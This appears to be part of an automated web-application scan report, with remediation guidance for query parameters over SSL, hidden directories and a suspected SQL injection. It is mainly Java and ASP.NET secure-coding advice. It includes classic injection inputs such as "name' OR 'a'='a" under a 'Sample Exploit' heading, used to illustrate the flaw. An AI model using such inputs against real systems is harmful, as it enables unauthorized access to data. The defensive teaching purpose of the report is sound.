Query parameters were passed over SSL, and may contain sensitive information

## Technical Description

During the application test, it was detected that a request, which was sent over SSL, contained parameters that were transmitted in the Query part of an HTTP request.
When sending requests, the browser's history can be used to reveal the URLs, which contain the query parameter names and values.

Due to the sensitivity of encrypted requests, it is suggested to use HTTP POST (without parameters in the URL string) when possible, in order to avoid the disclosure of URLs and parameter values to others.

## Fix Recommendation - General

Make sure that sensitive information such as:
- Username
- Password
- Social Security number
- Credit Card number
- Driver's License number
- e-mail address
- Phone number
- Zip code

is always sent in the body part of an HTTP POST request.

## References and Relevant Links

Financial Privacy: The Gramm-Leach Bliley Act
Health Insurance Portability and Accountability Act (HIPAA)
Sarbanes-Oxley Act
California SB1386

# Hidden Directory Detected

## Infrastructure

## WASC Threat Classification

Information Leakage
http://projects.webappsec.org/Information-Leakage

## Security Risks

It is possible to retrieve information about the site's file system structure, which may help the attacker to map the web site

## Possible Causes

The web server or application server are configured in an insecure way

## Technical Description

The web application has exposed the presence of a directory in the site. Although the directory does not list its content, the information may help an attacker to develop further attacks against the site. For example, by knowing the directory name, an attacker can guess its content type and possibly file names that reside in it, or sub directories under it, and try to access them.
The more sensitive the content is, the more severe this issue may be.

## Fix Recommendation - General

If the forbidden resource is not required, remove it from the site.
If possible, issue a "404 - Not Found" response status code instead of "403 - Forbidden". This change will obfuscate the presence of the directory in the site, and will prevent the site structure from being exposed.

## References and Relevant Links

# Database Error Pattern Found

## Application

## WASC Threat Classification

SQL Injection
http://projects.webappsec.org/SQL-Injection

## Security Risks

It is possible to view, modify or delete database entries and tables

## Possible Causes

Sanitation of hazardous characters was not performed correctly on user input

## Technical Description

AppScan discovered Database Errors in the test response, that may have been triggered by an attack other than SQL Injection.
It is possible, though not certain, that this error indicates a possible SQL Injection vulnerability in the application.
If it does, please read the following SQL Injection advisory carefully.

The software constructs all or part of an SQL command using externally-influenced input, but it incorrectly neutralizes special elements that could modify the intended SQL command when sent to the database.

Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. This can be used to alter query logic to bypass security checks, or to insert additional statements that modify the back-end database, and possibly including execution of system commands.

For example, let's say we have an HTML page with a login form, which eventually runs the following SQL query on the database using the user input:

```
SELECT * FROM accounts WHERE username='$user' AND password='$pass'
```

The two variables, $user and $pass, contain the user credentials entered by the user in the login form.
Therefore, if the user has input "jsmith" as the username, and "Demo1234" as the password, the SQL query will look like this:

```
SELECT * FROM accounts WHERE username='jsmith' AND password='Demo1234'
```

But if the user input "'" (a single apostrophe) as the username, and "'" (a single apostrophe) as the password, the SQL query will look like this:

```
SELECT * FROM accounts WHERE username=''' AND password='''
```

This, of course, is a malformed SQL query, and will invoke an error message, which may be returned in the HTTP response.
An error such as this informs the attacker that an SQL Injection has succeeded, which will lead the attacker to attempt further attack vectors.

Sample Exploit:
The following C# code dynamically constructs and executes a SQL query that searches for items matching a specified name. The query restricts the items displayed to those where owner matches the user name of the currently-authenticated user.

```
...
string userName = ctx.getAuthenticatedUserName();
string query = "SELECT * FROM items WHERE owner = '"
                        + userName + "' AND itemname = '"
                        + ItemName.Text + "'";
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
...
```

The query that this code intends to execute follows:

```
SELECT * FROM items WHERE owner =  AND itemname = ;
```

However, because the query is constructed dynamically by concatenating a constant base query string and a user input string, the query only behaves correctly if itemName does not contain a single-quote character. If an attacker with the user name wiley enters the string "name' OR 'a'='a" for itemName, then the query becomes the following:

```
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name' OR 'a'='a';
```

The addition of the OR 'a'='a' condition causes the where clause to always evaluate to true, so the query becomes logically equivalent to the much simpler query:

```
SELECT * FROM items;
```

## Fix Recommendation - General

There are several mitigation techniques:
[1] Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur, or provides constructs that make it easier to avoid.

[2] Strategy: Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

[3] Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks.

[4] Strategy: Output Encoding
If you need to use dynamically-generated query strings or commands in spite of the risk, properly quote arguments and escape any special characters within those arguments.

[5] Strategy: Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy: a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. Do not rely exclusively on blacklisting malicious or malformed inputs. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

## Fix Recommendation - ASP.NET

Here are two possible ways to protect your web application against SQL injection attacks:

[1] Use a stored procedure rather than dynamically built SQL query string. The way parameters are passed to SQL Server stored procedures, prevents the use of apostrophes and hyphens.

Here is a simple example of how to use stored procedures in ASP.NET:

```
' Visual Basic example
Dim DS As DataSet
Dim MyConnection As SqlConnection
Dim MyCommand As SqlDataAdapter

Dim SelectCommand As String = "select * from users where username = @username"
...
MyCommand.SelectCommand.Parameters.Add(New SqlParameter("@username", SqlDbType.NVarChar, 20))
MyCommand.SelectCommand.Parameters("@username").Value = UserNameField.Value


// C# example
String selectCmd = "select * from Authors where state = @username";
SqlConnection myConnection = new SqlConnection("server=...");
SqlDataAdapter myCommand = new SqlDataAdapter(selectCmd, myConnection);

myCommand.SelectCommand.Parameters.Add(new SqlParameter("@username", SqlDbType.NVarChar, 20));
myCommand.SelectCommand.Parameters["@username"].Value = UserNameField.Value;
```

[2] You can add input validation to Web Forms pages by using validation controls. Validation controls provide an easy-to-use mechanism for all common types of standard validation - for example, testing for valid dates or values within a range - plus ways to provide custom-written validation. In addition, validation controls allow you to completely customize how error information is displayed to the user. Validation controls can be used with any controls that are processed in a Web Forms page's class file, including both HTML and Web server controls.

In order to make sure user input contains only valid values, you can use one of the following validation controls:

a. "RangeValidator": checks that a user's entry (value) is between specified lower and upper boundaries. You can check ranges within pairs of numbers, alphabetic characters, and dates.

b. "RegularExpressionValidator": checks that the entry matches a pattern defined by a regular expression. This type of validation allows you to check for predictable sequences of characters, such as those in social security numbers, e-mail addresses, telephone numbers, postal codes, and so on.

Important note: validation controls do not block user input or change the flow of page processing; they only set an error state, and produce error messages. It is the programmer's responsibility to test the state of the controls in the code before performing further application-specific actions.

There are two ways to check for user input validity:

1. Testing for a general error state:

In your code, test the page's IsValid property. This property rolls up the values of the IsValid properties of all the validation controls on the page (using a logical AND). If one of the validation controls is set to invalid, the page's property will return false.

2. Testing for the error state of individual controls:

Loop through the page's Validators collection, which contains references to all the validation controls. You can then examine the IsValid property of each validation control.

## Fix Recommendation - J2EE

** Prepared Statements:

There are 3 possible ways to protect your application against SQL injection, i.e. malicious tampering of SQL parameters. Instead of dynamically building SQL statements, use:

[1] PreparedStatement, which is precompiled and stored in a pool of PreparedStatement objects. PreparedStatement defines setters to register input parameters that are compatible with the supported JDBC SQL data types. For example, setString should be used for input parameters of type VARCHAR or LONGVARCHAR (refer to the Java API for further details). This way of setting input parameters prevents an attacker from manipulating the SQL statement through injection of bad characters, such as apostrophe.

Example of how to use a PreparedStatement in J2EE:

```
// J2EE PreparedStatemenet Example
// Get a connection to the database
Connection myConnection;
if (isDataSourceEnabled()) {
    // using the DataSource to get a managed connection
```

```
      Context ctx = new InitialContext();
      myConnection = ((DataSource)ctx.lookup(datasourceName)).getConnection(dbUserName,
dbPassword);
  } else {
      try {
          // using the DriverManager to get a JDBC connection
          Class.forName(jdbcDriverClassPath);
          myConnection = DriverManager.getConnection(jdbcURL, dbUserName, dbPassword);
      } catch (ClassNotFoundException e) {
          ...
      }
  }
  ...
  try {
      PreparedStatement myStatement = myConnection.prepareStatement("select * from users where
username = ?");
      myStatement.setString(1, userNameField);
      ResultSet rs = myStatement.executeQuery();
      ...
      rs.close();
  } catch (SQLException sqlException) {
      ...
  } finally {
      myStatement.close();
      myConnection.close();
  }
```

[2] CallableStatement, which extends PreparedStatement to execute database SQL stored procedures. This class inherits input setters from PreparedStatement (see [1] above).

The following example assumes that this database stored procedure has been created:

```
CREATE PROCEDURE select_user (@username varchar(20))
AS SELECT * FROM USERS WHERE USERNAME = @username;
```

Example of how to use a CallableStatement in J2EE to execute the above stored procedure:

```
  // J2EE PreparedStatemenet Example
  // Get a connection to the database
  Connection myConnection;
  if (isDataSourceEnabled()) {
      // using the DataSource to get a managed connection
      Context ctx = new InitialContext();
      myConnection = ((DataSource)ctx.lookup(datasourceName)).getConnection(dbUserName,
dbPassword);
  } else {
      try {
          // using the DriverManager to get a JDBC connection
          Class.forName(jdbcDriverClassPath);
          myConnection = DriverManager.getConnection(jdbcURL, dbUserName, dbPassword);
      } catch (ClassNotFoundException e) {
          ...
      }
  }
  ...
  try {
      PreparedStatement myStatement = myConnection.prepareCall("{?= call select_user ?,?}");
      myStatement.setString(1, userNameField);
      myStatement.registerOutParameter(1, Types.VARCHAR);
      ResultSet rs = myStatement.executeQuery();
      ...
      rs.close();
  } catch (SQLException sqlException) {
      ...
  } finally {
      myStatement.close();
      myConnection.close();
  }
```

[3] Entity Bean, which represents an EJB business object in a persistent storage mechanism. There are two types of entity beans: bean-managed and container-managed. With bean-managed persistence, the developer is responsible of writing the SQL code to access the database (refer to sections [1] and [2] above). With container-managed persistence, the EJB container automatically generates the SQL code. As a result, the container is responsible of preventing malicious attempts to tamper with the generated SQL code.

Example of how to use an Entity Bean in J2EE:

```
  // J2EE EJB Example
  try {
      // lookup the User home interface
      UserHome userHome = (UserHome)context.lookup(User.class);
      // find the User remote interface
      User = userHome.findByPrimaryKey(new UserKey(userNameField));
      ...
```

```
} catch (Exception e) {
    ...
}
```

RECOMMENDED JAVA TOOLS
N/A

REFERENCES

http://java.sun.com/j2se/1.4.1/docs/api/java/sql/PreparedStatement.html

http://java.sun.com/j2se/1.4.1/docs/api/java/sql/CallableStatement.html

** Input Data Validation:

While data validations may be provided as a user convenience on the client-tier, data validation must be performed on the server-tier using Servlets. Client-side validations are inherently insecure because they can be easily bypassed, e.g. by disabling Javascript.

A good design usually requires the web application framework to provide server-side utility routines to validate the following:
[1] Required field
[2] Field data type (all HTTP request parameters are Strings by default)
[3] Field length
[4] Field range
[5] Field options
[6] Field pattern
[7] Cookie values
[8] HTTP Response

A good practice is to implement the above routine as static methods in a "Validator" utility class. The following sections describe an example validator class.

[1] Required field
Always check that the field is not null and its length is greater than zero, excluding leading and trailing white spaces.

Example of how to validate required fields:

```
// Java example to validate required fields
public Class Validator {
    ...
    public static boolean validateRequired(String value) {
        boolean isFieldValid = false;
        if (value != null && value.trim().length() > 0) {
            isFieldValid = true;
        }
        return isFieldValid;
    }
    ...
}
...
String fieldValue = request.getParameter("fieldName");
if (Validator.validateRequired(fieldValue)) {
    // fieldValue is valid, continue processing request
    ...
}
```

[2] Field data type
In web applications, input parameters are poorly typed. For example, all HTTP request parameters or cookie values are of type String. The developer is responsible for verifying the input is of the correct data type. Use the Java primitive wrapper classes to check if the field value can be safely converted to the desired primitive data type.

Example of how to validate a numeric field (type int):

```
// Java example to validate that a field is an int number
public Class Validator {
    ...
    public static boolean validateInt(String value) {
        boolean isFieldValid = false;
        try {
            Integer.parseInt(value);
            isFieldValid = true;
        } catch (Exception e) {
            isFieldValid = false;
        }
        return isFieldValid;
    }
    ...
}
...
// check if the HTTP request parameter is of type int
String fieldValue = request.getParameter("fieldName");
if (Validator.validateInt(fieldValue)) {
    // fieldValue is valid, continue processing request
    ...
```

```
}
```

A good practice is to convert all HTTP request parameters to their respective data types. For example, the developer should store the "integerValue" of a request parameter in a request attribute and use it as shown in the following example:

```
// Example to convert the HTTP request parameter to a primitive wrapper data type
// and store this value in a request attribute for further processing
String fieldValue = request.getParameter("fieldName");
if (Validator.validateInt(fieldValue)) {
    // convert fieldValue to an Integer
    Integer integerValue = Integer.getInteger(fieldValue);
    // store integerValue in a request attribute
    request.setAttribute("fieldName", integerValue);
}
...
// Use the request attribute for further processing
Integer integerValue = (Integer)request.getAttribute("fieldName");
...
```

The primary Java data types that the application should handle:
- Byte
- Short
- Integer
- Long
- Float
- Double
- Date

[3] Field length
Always ensure that the input parameter (whether HTTP request parameter or cookie value) is bounded by a minimum length and/or a maximum length.

Example to validate that the length of the userName field is between 8 and 20 characters:

```
// Example to validate the field length
public Class Validator {
    ...
    public static boolean validateLength(String value, int minLength, int maxLength) {
        String validatedValue = value;
        if (!validateRequired(value)) {
            validatedValue = "";
        }
        return (validatedValue.length() >= minLength &&
                    validatedValue.length() <= maxLength);
    }
    ...
}
...
String userName = request.getParameter("userName");
if (Validator.validateRequired(userName)) {
    if (Validator.validateLength(userName, 8, 20)) {
        // userName is valid, continue further processing
        ...
    }
}
```

[4] Field range
Always ensure that the input parameter is within a range as defined by the functional requirements.

Example to validate that the input numberOfChoices is between 10 and 20:

```
// Example to validate the field range
public Class Validator {
    ...
    public static boolean validateRange(int value, int min, int max) {
        return (value >= min && value <= max);
    }
    ...
}
...
String fieldValue = request.getParameter("numberOfChoices");
if (Validator.validateRequired(fieldValue)) {
    if (Validator.validateInt(fieldValue)) {
        int numberOfChoices = Integer.parseInt(fieldValue);
        if (Validator.validateRange(numberOfChoices, 10, 20)) {
            // numberOfChoices is valid, continue processing request
            ...
        }
    }
}
```

[5] Field options
Often, the web application presents the user with a set of options to choose from, e.g. using the SELECT HTML tag, but fails to perform server-side validation to ensure that the selected value is one of the allowed options. Remember that a malicious user can

easily modify any option value. Always validate the selected user value against the allowed options as defined by the functional requirements.

Example to validate the user selection against a list of allowed options:

```
// Example to validate user selection against a list of options
public Class Validator {
    ...
    public static boolean validateOption(Object[] options, Object value) {
        boolean isValidValue = false;
        try {
            List list = Arrays.asList(options);
            if (list != null) {
                isValidValue = list.contains(value);
            }
        } catch (Exception e) {
        }
        return isValidValue;
    }
    ...
}
...
// Allowed options
String[] options = {"option1", "option2", "option3");
// Verify that the user selection is one of the allowed options
String userSelection = request.getParameter("userSelection");
if (Validator.validateOption(options, userSelection)) {
    // valid user selection, continue processing request
    ...
}
```

[6] Field pattern
Always check that the user input matches a pattern as defined by the functionality requirements. For example, if the userName field should only allow alpha-numeric characters, case insensitive, then use the following regular expression:
^[a-zA-Z0-9]*$

Java 1.3 or earlier versions do not include any regular expression packages. Apache Regular Expression Package (see Resources below) is recommended for use with Java 1.3 to resolve this lack of support. Example to perform regular expression validation:

```
// Example to validate that a given value matches a specified pattern
// using the Apache regular expression package
import org.apache.regexp.RE;
import org.apache.regexp.RESyntaxException;
public Class Validator {
    ...
    public static boolean matchPattern(String value, String expression) {
        boolean match = false;
        if (validateRequired(expression)) {
             RE r = new RE(expression);
             match = r.match(value);
        }
        return match;
    }
    ...
}
...
// Verify that the userName request parameter is alpha-numeric
String userName = request.getParameter("userName");
if (Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
    // userName is valid, continue processing request
    ...
}
```

Java 1.4 introduced a new regular expression package (java.util.regex). Here is a modified version of Validator.matchPattern using the new Java 1.4 regular expression package:

```
// Example to validate that a given value matches a specified pattern
// using the Java 1.4 regular expression package
import java.util.regex.Pattern;
import java.util.regexe.Matcher;
public Class Validator {
    ...
    public static boolean matchPattern(String value, String expression) {
        boolean match = false;
        if (validateRequired(expression)) {
            match = Pattern.matches(expression, value);
        }
        return match;
    }
    ...
}
```

[7] Cookie value
Use the javax.servlet.http.Cookie object to validate the cookie value. The same validation rules (described above) apply to cookie

values depending on the application requirements, e.g. validate a required value, validate length, etc.

Example to validate a required cookie value:

```
// Example to validate a required cookie value
// First retrieve all available cookies submitted in the HTTP request
Cookie[] cookies = request.getCookies();
if (cookies != null) {
    // find the "user" cookie
    for (int i=0; i<cookies.length; ++i) {
        if (cookies[i].getName().equals("user")) {
            // validate the cookie value
            if (Validator.validateRequired(cookies[i].getValue()) {
                // valid cookie value, continue processing request
                ...
            }
        }
    }
}
```

[8] HTTP Response
[8-1] Filter user input
To guard the application against cross-site scripting, sanitize HTML by converting sensitive characters to their corresponding character entities. These are the HTML sensitive characters:
< > " ' % ; ) ( & +

Example to filter a specified string by converting sensitive characters to their corresponding character entities:

```
// Example to filter sensitive data to prevent cross-site scripting
public Class Validator {
    ...
    public static String filter(String value) {
        if (value == null) {
            return null;
        }
        StringBuffer result = new StringBuffer(value.length());
        for (int i=0; i<value.length(); ++i) {
            switch (value.charAt(i)) {
            case '<':
                result.append("&lt;");
                break;
            case '>':
                result.append("&gt;");
                break;
            case '"':
                result.append("&quot;");
                break;
            case '\'':
                result.append("&#39;");
                break;
            case '%':
                result.append("&#37;");
                break;
            case ';':
                result.append("&#59;");
                break;
            case '(':
                result.append("&#40;");
                break;
            case ')':
                result.append("&#41;");
                break;
            case '&':
                result.append("&amp;");
                break;
            case '+':
                result.append("&#43;");
                break;
            default:
                result.append(value.charAt(i));
                break;
            }
        return result;
    }
    ...
}
...
// Filter the HTTP response using Validator.filter
PrintWriter out = response.getWriter();
// set output response
out.write(Validator.filter(response));
out.close();
```

The Java Servlet API 2.3 introduced Filters, which supports the interception and transformation of HTTP requests or responses.

Example of using a Servlet Filter to sanitize the response using Validator.filter:

```
  // Example to filter all sensitive characters in the HTTP response using a Java Filter.
  // This example is for illustration purposes since it will filter all content in the response,
including HTML tags!
  public class SensitiveCharsFilter implements Filter {
      ...
      public void doFilter(ServletRequest request,
                      ServletResponse response,
                      FilterChain chain)
              throws IOException, ServletException {

          PrintWriter out = response.getWriter();
          ResponseWrapper wrapper = new ResponseWrapper((HttpServletResponse)response);
          chain.doFilter(request, wrapper);

          CharArrayWriter caw = new CharArrayWriter();
          caw.write(Validator.filter(wrapper.toString()));

          response.setContentType("text/html");
          response.setContentLength(caw.toString().length());
          out.write(caw.toString());
          out.close();
      }
      ...
      public class CharResponseWrapper extends HttpServletResponseWrapper {
          private CharArrayWriter output;

          public String toString() {
              return output.toString();
          }

          public CharResponseWrapper(HttpServletResponse response){
              super(response);
              output = new CharArrayWriter();
          }

          public PrintWriter getWriter(){
              return new PrintWriter(output);
          }
      }
  }

  }
```

[8-2] Secure the cookie
When storing sensitive data in a cookie, make sure to set the secure flag of the cookie in the HTTP response, using Cookie.setSecure(boolean flag) to instruct the browser to send the cookie using a secure protocol, such as HTTPS or SSL.

Example to secure the "user" cookie:

```
  // Example to secure a cookie, i.e. instruct the browser to
  // send the cookie using a secure protocol
  Cookie cookie = new Cookie("user", "sensitive");
  cookie.setSecure(true);
  response.addCookie(cookie);
```

RECOMMENDED JAVA TOOLS
The two main Java frameworks for server-side validation are:
[1] Jakarta Commons Validator (integrated with Struts 1.1)
The Jakarta Commons Validator is a powerful framework that implements all the above data validation requirements. These rules are configured in an XML file that defines input validation rules for form fields. Struts supports output filtering of dangerous characters in the [8] HTTP Response by default on all data written using the Struts 'bean:write' tag. This filtering may be disabled by setting the 'filter=false' flag.

Struts defines the following basic input validators, but custom validators may also be defined:
required: succeeds if the field contains any characters other than white space.
mask: succeeds if the value matches the regular expression given by the mask attribute.
range: succeeds if the value is within the values given by the min and max attributes ((value >= min) & (value <= max)).
maxLength: succeeds if the field is length is less than or equal to the max attribute.
minLength: succeeds if the field is length is greater than or equal to the min attribute.
byte, short, integer, long, float, double: succeeds if the value can be converted to the corresponding primitive.
date: succeeds if the value represents a valid date. A date pattern may be provided.
creditCard: succeeds if the value could be a valid credit card number.
e-mail: succeeds if the value could be a valid e-mail address.

Example to validate the userName field of a loginForm using Struts Validator:

```
  <form-validation>
      <global>
          ...
          <validator name="required"
              classname="org.apache.struts.validator.FieldChecks"
              method="validateRequired"
```

```
            msg="errors.required">
        </validator>
        <validator name="mask"
            classname="org.apache.struts.validator.FieldChecks"
            method="validateMask"
            msg="errors.invalid">
        </validator>
        ...
    </global>
    <formset>
        <form name="loginForm">
            <!-- userName is required and is alpha-numeric case insensitive -->
            <field property="userName" depends="required,mask">
                <!-- message resource key to display if validation fails -->
                <msg name="mask" key="login.userName.maskmsg"/>
                <arg0 key="login.userName.displayname"/>
                <var>
                    <var-name>mask</var-name>
                    <var-value>^[a-zA-Z0-9]*$</var-value>
                </var>
            </field>
        ...
        </form>
        ...
    </formset>
</form-validation>
```

[2] JavaServer Faces Technology
JavaServer Faces Technology is a set of Java APIs (JSR 127) to represent UI components, manage their state, handle events and input validation.

The JavaServer Faces API implements the following basic validators, but custom validators may be defined:
validate_doublerange: registers a DoubleRangeValidator on a component
validate_length: registers a LengthValidator on a component
validate_longrange: registers a LongRangeValidator on a component
validate_required: registers a RequiredValidator on a component
validate_stringrange: registers a StringRangeValidator on a component
validator: registers a custom Validator on a component

The JavaServer Faces API defines the following UIInput and UIOutput Renderers (Tags):
input_date: accepts a java.util.Date formatted with a java.text.Date instance
output_date: displays a java.util.Date formatted with a java.text.Date instance
input_datetime: accepts a java.util.Date formatted with a java.text.DateTime instance
output_datetime: displays a java.util.Date formatted with a java.text.DateTime instance
input_number: displays a numeric data type (java.lang.Number or primitive), formatted with a java.text.NumberFormat
output_number: displays a numeric data type (java.lang.Number or primitive), formatted with a java.text.NumberFormat
input_text: accepts a text string of one line.
output_text: displays a text string of one line.
input_time: accepts a java.util.Date, formatted with a java.text.DateFormat time instance
output_time: displays a java.util.Date, formatted with a java.text.DateFormat time instance
input_hidden: allows a page author to include a hidden variable in a page
input_secret: accepts one line of text with no spaces and displays it as a set of asterisks as it is typed
input_textarea: accepts multiple lines of text
output_errors: displays error messages for an entire page or error messages associated with a specified client identifier
output_label: displays a nested component as a label for a specified input field
output_message: displays a localized message

Example to validate the userName field of a loginForm using JavaServer Faces:

```
<%@ taglib uri="http://java.sun.com/jsf/html" prefix="h" %>
<%@ taglib uri="http://java.sun.com/jsf/core" prefix="f" %>
...
<jsp:useBean id="UserBean"
    class="myApplication.UserBean" scope="session" />
<f:use_faces>
  <h:form formName="loginForm" >
    <h:input_text id="userName" size="20" modelReference="UserBean.userName">
        <f:validate_required/>
        <f:validate_length minimum="8" maximum="20"/>
    </h:input_text>
    <!-- display errors if present -->
    <h:output_errors id="loginErrors" clientId="userName"/>
    <h:command_button id="submit" label="Submit" commandName="submit" /><p>
  </h:form>
</f:use faces>
```

REFERENCES
Java API 1.3 -
http://java.sun.com/j2se/1.3/docs/api/
Java API 1.4 -
http://java.sun.com/j2se/1.4/docs/api/
Java Servlet API 2.3 -
http://java.sun.com/products/servlet/2.3/javadoc/
Java Regular Expression Package -

http://jakarta.apache.org/regexp/
Jakarta Validator -
http://jakarta.apache.org/commons/validator/
JavaServer Faces Technology -
http://java.sun.com/j2ee/javaserverfaces/

** Error Handling:

Many J2EE web application architectures follow the Model View Controller (MVC) pattern. In this pattern a Servlet acts as a Controller. A Servlet delegates the application processing to a JavaBean such as an EJB Session Bean (the Model). The Servlet then forwards the request to a JSP (View) to render the processing results. Servlets should check all input, output, return codes, error codes and known exceptions to ensure that the expected processing actually occurred.

While data validation protects applications against malicious data tampering, a sound error handling strategy is necessary to prevent the application from inadvertently disclosing internal error messages such as exception stack traces. A good error handling strategy addresses the following items:

[1] Defining Errors
[2] Reporting Errors
[3] Rendering Errors
[4] Error Mapping

[1] Defining Errors
Hard-coded error messages in the application layer (e.g. Servlets) should be avoided. Instead, the application should use error keys that map to known application failures. A good practice is to define error keys that map to validation rules for HTML form fields or other bean properties. For example, if the "user_name" field is required, is alphanumeric, and must be unique in the database, then the following error keys should be defined:

(a) ERROR_USERNAME_REQUIRED: this error key is used to display a message notifying the user that the "user_name" field is required;
(b) ERROR_USERNAME_ALPHANUMERIC: this error key is used to display a message notifying the user that the "user_name" field should be alphanumeric;
(c) ERROR_USERNAME_DUPLICATE: this error key is used to display a message notifying the user that the "user_name" value is a duplicate in the database;
(d) ERROR_USERNAME_INVALID: this error key is used to display a generic message notifying the user that the "user_name" value is invalid;

A good practice is to define the following framework Java classes which are used to store and report application errors:

- ErrorKeys: defines all error keys

```
// Example: ErrorKeys defining the following error keys:
//    - ERROR_USERNAME_REQUIRED
//    - ERROR_USERNAME_ALPHANUMERIC
//    - ERROR_USERNAME_DUPLICATE
//    - ERROR_USERNAME_INVALID
//    ...
public Class ErrorKeys {
    public static final String ERROR_USERNAME_REQUIRED = "error.username.required";
    public static final String ERROR_USERNAME_ALPHANUMERIC = "error.username.alphanumeric";
    public static final String ERROR_USERNAME_DUPLICATE = "error.username.duplicate";
    public static final String ERROR_USERNAME_INVALID = "error.username.invalid";
    ...
}
```

- Error: encapsulates an individual error

```
// Example: Error encapsulates an error key.
// Error is serializable to support code executing in multiple JVMs.
public Class Error implements Serializable {

    // Constructor given a specified error key
    public Error(String key) {
        this(key, null);
    }

    // Constructor given a specified error key and array of placeholder objects
    public Error(String key, Object[] values) {
        this.key = key;
        this.values = values;
    }

    // Returns the error key
    public String getKey() {
        return this.key;
    }

    // Returns the placeholder values
    public Object[] getValues() {
        return this.values;
    }

    private String key = null;
    private Object[] values = null;
```

```
    }
```

- Errors: encapsulates a Collection of errors

```
    // Example: Errors encapsulates the Error objects being reported to the presentation layer.
    // Errors are stored in a HashMap where the key is the bean property name and value is an
    // ArrayList of Error objects.
    public Class Errors implements Serializable {

        // Adds an Error object to the Collection of errors for the specified bean property.
        public void addError(String property, Error error) {
            ArrayList propertyErrors = (ArrayList)errors.get(property);
            if (propertyErrors == null) {
                propertyErrors = new ArrayList();
                errors.put(property, propertyErrors);
            }
            propertyErrors.put(error);
        }

        // Returns true if there are any errors
        public boolean hasErrors() {
            return (errors.size > 0);
        }

        // Returns the Errors for the specified property
        public ArrayList getErrors(String property) {
            return (ArrayList)errors.get(property);
        }

        private HashMap errors = new HashMap();
    }
```

Using the above framework classes, here is an example to process validation errors of the "user_name" field:

```
// Example to process validation errors of the "user_name" field.
Errors errors = new Errors();
String userName = request.getParameter("user_name");
// (a) Required validation rule
if (!Validator.validateRequired(userName)) {
    errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_REQUIRED));
} // (b) Alpha-numeric validation rule
else if (!Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
    errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_ALPHANUMERIC));
}
else
{
    // (c) Duplicate check validation rule
    // We assume that there is an existing UserValidationEJB session bean that implements
    // a checkIfDuplicate() method to verify if the user already exists in the database.
    try {
        ...
        if (UserValidationEJB.checkIfDuplicate(userName)) {
            errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_DUPLICATE));
        }
    } catch (RemoteException e) {
        // log the error
        logger.error("Could not validate user for specified userName: " + userName);
        errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_DUPLICATE);
    }
}
// set the errors object in a request attribute called "errors"
request.setAttribute("errors", errors);
...
```

[2] Reporting Errors
There are two ways to report web-tier application errors:
(a) Servlet Error Mechanism
(b) JSP Error Mechanism

[2-a] Servlet Error Mechanism
A Servlet may report errors by:
- forwarding to the input JSP (having already stored the errors in a request attribute), OR
- calling response.sendError with an HTTP error code argument, OR
- throwing an exception

It is good practice to process all known application errors (as described in section [1]), store them in a request attribute, and forward to the input JSP. The input JSP should display the error messages and prompt the user to re-enter the data. The following example illustrates how to forward to an input JSP (userInput.jsp):

```
// Example to forward to the userInput.jsp following user validation errors
RequestDispatcher rd = getServletContext().getRequestDispatcher("/user/userInput.jsp");
if (rd != null) {
    rd.forward(request, response);
}
```

If the Servlet cannot forward to a known JSP page, the second option is to report an error using the response.sendError method with HttpServletResponse.SC_INTERNAL_SERVER_ERROR (status code 500) as argument. Refer to the javadoc of javax.servlet.http.HttpServletResponse for more details on the various HTTP status codes. Example to return a HTTP error:

```
// Example to return a HTTP error code
RequestDispatcher rd = getServletContext().getRequestDispatcher("/user/userInput.jsp");
if (rd == null) {
    // messages is a resource bundle with all message keys and values
    response.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR,
                           messages.getMessage(ErrorKeys.ERROR_USERNAME_INVALID));
}
```

As a last resort, Servlets can throw an exception, which must be a subclass of one of the following classes:
- RuntimeException
- ServletException
- IOException

[2-b] JSP Error Mechanism
JSP pages provide a mechanism to handle runtime exceptions by defining an errorPage directive as shown in the following example:

```
<%@ page errorPage="/errors/userValidation.jsp" %>
```

Uncaught JSP exceptions are forwarded to the specified errorPage, and the original exception is set in a request parameter called javax.servlet.jsp.jspException. The error page must include a isErrorPage directive as shown below:

```
<%@ page isErrorPage="true" %>
```

The isErrorPage directive causes the "exception" variable to be initialized to the exception object being thrown.

[3] Rendering Errors
The J2SE Internationalization APIs provide utility classes for externalizing application resources and formatting messages including:

(a) Resource Bundles
(b) Message Formatting

[3-a] Resource Bundles
Resource bundles support internationalization by separating localized data from the source code that uses it. Each resource bundle stores a map of key/value pairs for a specific locale.

It is common to use or extend java.util.PropertyResourceBundle, which stores the content in an external properties file as shown in the following example:

```
################################################
# ErrorMessages.properties
################################################
# required user name error message
error.username.required=User name field is required

# invalid user name format
error.username.alphanumeric=User name must be alphanumeric

# duplicate user name error message
error.username.duplicate=User name {0} already exists, please choose another one

...
```

Multiple resources can be defined to support different locales (hence the name resource bundle). For example, ErrorMessages_fr.properties can be defined to support the French member of the bundle family. If the resource member of the requested locale does not exist, the default member is used. In the above example, the default resource is ErrorMessages.properties. Depending on the user's locale, the application (JSP or Servlet) retrieves content from the appropriate resource.

[3-b] Message Formatting
The J2SE standard class java.util.MessageFormat provides a generic way to create messages with replacement placeholders. A MessageFormat object contains a pattern string with embedded format specifiers as shown below:

```
// Example to show how to format a message using placeholder parameters
String pattern = "User name {0} already exists, please choose another one";
String userName = request.getParameter("user_name");
Object[] args = new Object[1];
args[0] = userName;
String message = MessageFormat.format(pattern, args);
```

Here is a more comprehensive example to render error messages using ResourceBundle and MessageFormat:

```
// Example to render an error message from a localized ErrorMessages resource (properties file)
// Utility class to retrieve locale-specific error messages
